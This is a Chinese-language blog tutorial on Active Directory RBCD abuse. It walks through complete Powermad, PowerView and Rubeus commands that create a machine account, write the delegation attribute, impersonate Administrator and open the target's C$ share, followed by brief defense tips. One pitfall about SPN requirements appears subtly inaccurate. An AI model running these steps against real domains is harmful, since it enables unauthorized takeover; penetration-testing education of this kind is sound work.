怎样RBCD使用教程:手把手教你玩转基于资源的约束委派,干货满满!
大家好呀!今天咱们来聊一个可能让不少搞渗透测试或者AD域安全的朋友既爱又恨的话题——怎样RBCD使用教程,说实话,我第一次接触RBCD(Resource-Based Constrained Delegation,基于资源的约束委派)的时候,那叫一个头大啊!各种概念堆在一起,什么委派、什么SPN、什么机器账户,简直要命,但是呢,经过一番折腾和踩坑之后,我终于把它给摸透了,所以今天这篇文章,我就用最接地气的方式,跟大家好好唠唠这个RBCD到底怎么用,保证你看完能上手操作!

RBCD是个啥?为啥要学它?
先别急着动手,咱们得把概念搞清楚对吧?RBCD其实就是Windows AD域里面的一种委派机制,传统的约束委派是“用户A可以 impersonate 用户去访问服务B”,而RBCD反过来——是“服务B可以决定谁可以来 impersonate 自己”,哎,这么一说是不是有点绕?简单点讲,就是资源的拥有者可以控制谁能委派到它。
那为啥我们要学怎样RBCD使用教程呢?因为在实战中,RBCD经常被用来做权限提升和横向移动,比如说你拿到了一个机器账户的控制权,就可以通过修改RBCD属性,让这个机器账户去委派访问域控,从而实现提权,听起来是不是很刺激?嘿嘿,别急,咱们一步步来。
前置条件,你得先有这些
在开始怎样RBCD使用教程之前,你得确保环境里有这些条件:
- 一个域环境(这个不用多说吧,没域玩啥RBCD)
- 一个你可以控制的账户,最好是有
SeMachineAccountPrivilege权限的,或者你已经拿到了某个机器账户的hash - 域控的访问权限,至少能查询和修改AD对象的属性
- 工具:PowerShell(必须的)、
Rubeus、PowerView、BloodHound(可选但强烈推荐)
哦对了,还有一点很重要——你需要有写入目标计算机对象msDS-AllowedToActOnBehalfOfOtherIdentity属性的权限,这个属性就是RBCD的核心,没有它啥都干不了。
怎样RBCD使用教程:实战步骤
好了好了,我知道你们等不及了,下面就是重头戏——怎样RBCD使用教程的具体操作步骤,我会尽量写得详细一点,你们跟着做就行。
步骤1:信息收集,找准目标
你得知道域里有啥,用PowerView跑一下:
Get-NetComputer | select name, dnshostname Get-NetUser | select name, samaccountname
或者直接上BloodHound,看看哪些机器是你有写入权限的,这一步很重要啊,别瞎搞,不然打草惊蛇就不好了。
步骤2:创建一个机器账户(或者用现有的)
如果你没有机器账户,可以用Powermad创建一个:
New-MachineAccount -MachineAccount RBCBTest -Password $(ConvertTo-SecureString 'P@ssw0rd123' -AsPlainText -Force)
哎呀,这里要注意,创建机器账户需要SeMachineAccountPrivilege权限,一般域用户默认就有(默认配额是10个),如果你没有,那就得想别的办法了。
步骤3:配置RBCD属性
这一步是关键!我们要把刚才创建的机器账户的SID写到目标机器的msDS-AllowedToActOnBehalfOfOtherIdentity属性里,用PowerView:
$MachineSID = Get-DomainComputer -Identity RBCBTest | select -ExpandProperty objectsid
$TargetComputer = Get-DomainComputer -Identity TargetMachine
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$MachineSID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject -Identity $TargetComputer -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$SDBytes}
哇,这一串命令看起来是不是有点晕?其实核心就是构造一个安全描述符,把机器账户的SID加进去,然后写入目标属性,搞定之后,RBCD就配置好了!
步骤4:获取服务票据
我们用Rubeus来请求一个票据:
Rubeus.exe s4u /user:RBCBTest$ /password:P@ssw0rd123 /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.domain.com /ptt
这里的/impersonateuser是你要模拟的用户,一般选Administrator或者域管。/msdsspn是目标服务的SPN,执行成功后,票据就注入到当前会话了。
步骤5:访问目标资源
最后一步,直接访问目标机器的CIFS共享:
dir \\TargetMachine.domain.com\c$
如果一切顺利,你就能看到目标机器的C盘内容了!哈哈,是不是很有成就感?
常见坑点与注意事项
哎呀,我知道你们实际操作的时候肯定会遇到各种问题,我这里列几个常见的坑:
- 权限不够:如果你没有写入目标机器属性的权限,那就别想了,先用BloodHound看看有没有
GenericWrite或者WriteDacl权限。 - SPN问题:目标机器必须有SPN,否则S4U2Self会失败,可以用
setspn -L TargetMachine检查一下。 - 票据缓存:有时候票据没注入成功,记得用
klist查看一下。 - 防火墙:别笑,真的有人被防火墙坑了,CIFS端口没开啥都别谈。
防御建议(正经脸)
虽然咱们是在学攻击技术,但防御也得懂一点对吧?要防止RBCD被滥用,管理员应该:
- 定期审计
msDS-AllowedToActOnBehalfOfOtherIdentity属性 - 限制普通用户创建机器账户的权限
- 监控异常的S4U请求
好了,今天的怎样RBCD使用教程就到这里啦!希望这篇文章能帮到正在研究AD域安全的你,记住啊,技术是用来提升安全的,别拿去干坏事哦!如果觉得有用,记得分享给朋友,咱们下期再见!拜拜~